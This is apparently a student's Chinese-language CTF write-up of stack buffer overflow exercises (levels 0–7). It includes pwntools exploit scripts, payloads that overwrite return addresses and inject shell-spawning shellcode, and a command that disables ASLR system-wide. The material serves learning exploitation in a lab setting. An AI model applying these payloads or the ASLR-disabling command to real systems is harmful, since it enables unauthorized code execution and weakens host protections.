做題入門=。=
菜呀,學習
level-0
aris教我checksec一下看是啥文件

-w592
32位的打開32位的ida
主程序

-w657
ebp是棧底指針 esp是棧頂指針
好奇為啥棧底指針在最高的地方
- aris說是為了最大化利用空間(懵逼)
學習一下棧的知識
只要覆蓋0x44個字節(jié)把 v5覆蓋了就行
# coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'bash', '-c']
payload = "A" * 0x44
cn.sendline(payload)
cn.readline()
gdb 調試一下

image
可以看到已經被覆蓋了
level-1

-w551
checksec 一下 發(fā)現(xiàn)是32位的
打開ida

-w674
只要把v5的值覆蓋成1633837924就行了
轉成16進制

-w407
0x61626364
用pwntools的時候會跳不出argc
aris說就跟sys.argv 一樣需要給參數(shù)
看來只能手輸入了

-w735
這里剛剛好覆蓋到
換成61626364就好了

-w732
因為是小端的所以是反的

-w711
ok
level2

-w644
還是32位的一個
用ida打開

-w601
直接運行會這樣

-w610
有一個getenv函數(shù)
是從系統(tǒng)環(huán)境中獲得變量,問了一下aris
export這個命令就行
ch1p告訴我在ida里面可以用h將值變成16進制
-w210
只要把v5的值覆蓋成0d0a0d0a之后就好了
小端所以是0a0d0a0d
import os
os.putenv('GREENIE','A'*0X40+'\x0a\x0d\x0a\x0d')
os.system('./level2')
運行一下成功了

-w389
level3
放到ida看一下

-w625
主函數(shù)

-w428
還有一個win函數(shù)
應該是把v5的值改成win的入口地址

-w531
看到win的入口地址是
0x08048424把v5的值改成這個就行
需要
0x40個A+0x08048424
aris教我可以用hex來查看堆棧信息
使用回車可以看后面棧的內容
可以發(fā)現(xiàn)我已經將v5的值改掉了

-w829

-w343
成功
腳本:
#coding=utf8
from pwn import *
local = 1
if local:
cn = process('./level3')
payload = 'A'*0x40+p32(0x08048424)
cn.sendline(payload)
cn.interactive()
level4
打開ida

-w580
發(fā)現(xiàn)main函數(shù)只有這么點
還有一個win函數(shù)

-w463
還是要跳到這個函數(shù)
找到win函數(shù)的入口地址
看了一下s離ebp是0x40個字節(jié)
所以payload是
'A'*0x40+'bbbb'+p32(0x08048424)b是用來覆蓋ebp 接下來就是返回地址
在測試的時候發(fā)現(xiàn)不行用gdb調試一下

-w730
發(fā)現(xiàn)并沒有跳到我給的地址打印一下??匆幌?br>

-w734
發(fā)現(xiàn)我的已經寫上去了,但是地址還在后面8位
所以更改payload
A*0x48+'bbbb'+p32(0x08048424)
成功!

-w607
腳本:
#coding=utf8
from pwn import *
local = 1
if local:
cn = process('./level4')
payload = 'A'*0x48+'bbbb'+p32(0x08048424)
cn.sendline(payload)
cn.interactive()
解答
為啥往后移了8位靜態(tài)分析的時候沒啥問題
問了下aris

-w540

-w528
經過了與之后就比之前小了8就往后移了8位
23333
gdb是好東西
level5
打開ida

-w550
除了這個函數(shù)別的都沒了
可以試著寫shellcode了

image
看一下pwntools自帶的shellcode只有44長度
那個字符串s的長度有48所以寫進去應該沒啥問題
不過首先得把ASLR的保護給關了不然寫不到那個地址上
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
用gdb調試一下
shellcode = asm(shellcraft.sh())
payload = shellcode+'A'*0x1C+p32(0x00000000)+p32(0xffffcf00)
cn.sendline(payload)

-w774
可以看到他已經被覆蓋成功了,下一步就是shellcode

-w732
命令執(zhí)行成功
level6
打開ida

-w596
main函數(shù)
看一下getpath函數(shù)

-w473
應該是從這里入手
發(fā)現(xiàn)不能像level5一樣直接覆蓋return的地址了
他做了限定前2位不能是ff
通過空函數(shù)然后在return回來執(zhí)行下一句return到shellcode就好了

-w788
找一個空函數(shù) 方便跳回來繼續(xù)執(zhí)行
就是你了
0x0804850b
-w661
gdb調試一下

-w556
成功進去了

-w591
return到了我們的shellcode的位置

-w462
成功~

-w853
腳本:
shellcode = asm(shellcraft.sh())
payload = shellcode+'A'*0x20+p32(0x00000000)+p32(0x0804850b)+p32(0xffffceec)
cn.sendline(payload)
cn.interactive()
level7
還是和level6一樣
只是getpath函數(shù)變了

-w421
就是多了一個strdup函數(shù)
上網查了一下他是從堆里面分配空間
感覺沒啥用
跟上一題一樣的思路找一下空函數(shù)

-w837
0x0804855b然后寫一下payload

-w731
shellcode = asm(shellcraft.sh())
payload = shellcode+'A'*0x20+p32(0x00000000)+p32(0x0804855b)+p32(0xffffceec)
# z('b*0x080484EF\nc')
cn.sendline(payload)
cn.interactive()
番外
當然有更屌的解法

-w867
(等我學成歸來)在學習一下
參考資料
https://blog.csdn.net/sinat_31054897/article/details/82223889